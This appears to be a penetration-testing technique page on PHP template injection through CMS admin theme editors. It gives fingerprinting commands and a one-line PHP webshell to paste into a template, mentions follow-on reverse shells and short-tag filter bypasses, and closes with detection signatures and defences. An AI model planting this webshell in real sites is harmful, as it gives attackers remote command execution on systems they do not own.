the_open_door
coffee
ESEN
← Back to index

PHP Template Injection (CMS)

A CMS admin panel that edits theme templates (themes/*.tpl, templates/*.php) and then includes them via include/require is RCE by design: any <?php ?> inside the saved content is evaluated when rendering the page that uses that template. It is not a version bug; it is the panel's editor itself, so the technique cuts across many old CMSs.

Requirements

Access to the admin panel (default credentials, targeted brute force with cewl, credential reuse or a prior route) and a theme/template editor the engine evaluates as PHP. Identifying the CMS and its version guides the exact path:

whatweb http://<ip>            # CMS fingerprint
curl -s http://<ip>/ | grep -Eio 'generator" content="[^"]+'   # meta generator

Exploitation

Common pattern in Monstra, Anchor CMS, PHPFusion, CMS Made Simple and others:

  1. Log in as admin.
  2. Open the active theme's template editor (?id=themes&action=edit_template&filename=<theme>, or the CMS equivalent).
  3. Paste the webshell into the template content:
<?php system($_GET['cmd']); ?>
  1. Save (Save and Exit).
  2. Visit the route that renders that template and add ?cmd=id.

The command output appears in the rendered page. From there you launch a standard reverse shell to stabilize access.

Nuance. Do not confuse it with SSTI (Jinja, Twig, etc.), where the flaw is a user input reaching a render_template_string without being admin. Here the attacker is already admin of the panel, so the real work is usually reaching that panel; execution, once inside, is nearly guaranteed. If the editor filters <?php, try short tags (<?=) or the PHP tag bypass.

How to detect it. The abuse leaves a trail on two layers. In the application, the modification of a template file from the panel (a CMS audit log, or a FIM seeing themes/*.tpl/.php change with content including system(/<?php) is the signature. On the server, later execution appears as the web process (www-data/apache) spawning sh/id/bash as a child, and requests to the template with a ?cmd= parameter. An admin login from a new IP followed by a theme edit is the full chain.

Defence. Restrict the admin role to very specific operators, require MFA on the panel, and separate the template editor from execution (a review step before "publish", or a sandboxed engine like Twig with autoescape). Keeping the CMS updated and removing theme editors in production closes the route.